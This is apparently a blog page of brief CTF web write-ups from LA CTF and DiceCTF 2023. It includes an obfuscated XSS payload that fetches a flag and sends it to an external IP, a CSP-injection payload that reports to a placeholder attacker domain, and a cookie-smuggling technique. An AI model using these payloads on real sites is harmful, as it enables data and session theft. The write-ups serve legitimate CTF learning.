https://www.gravatar.com/avatar/3ad76e144cae121fbc2ef0ab0021dc5e?s=240&d=mp

Rohit Narayanan M

hptla - LA CTF 2023

  • We can join the two lines either by adding a ` or starting a comment /* at the end of one line and closing it *\ at the start of the next line
  • We have to split the payload into 20 parts like that

Final payload

<img src='
'onerror='`
`;n=fetch;`
`;l=r=>{`
`;return/*
*/r.text();`
`;};`
`;p=q=>{s=/*
*/`http:`;`
`;s+=`//3`;`
`;s+=`4.9`;`
`;s+=`3.5`;`
`;window./*
*/location/*
*/=s+`6.144?
`+q;};`
`;f=`flag`;`
`;w=n(f)/*
*/.then(l)/*
*/.then(p);'

Codebox - DiceCTF 2023

  • Use img src to inject csp
  • Use report-uri your-domain to get csp violation reports
  • Use require-trusted-types-for 'script' to get violation when innerHTML is set
  • Use code=&code<payload> to make code undefined in front end

Final Payload: https://codebox.mc.ax/?code=&code=<img+src="*;+require-trusted-types-for+'script'+;+report-uri+https://your.domain.com/"+>

Jnotes - DiceCTF 2023

  • Java mishandles the cookies such that when there is a cookie with a ", it will take all the cookies until there is a " as that cookie’s value
  • We can set empty cookies using javascript document.cookie="=value";
  • Use that to set a new note cookie by adding note in the value document.cookie='=note="';
  • Make our cookie first by giving path as // as chrome sends cookies with longer paths first
  • Now create an iframe with // as src and read its innerHTML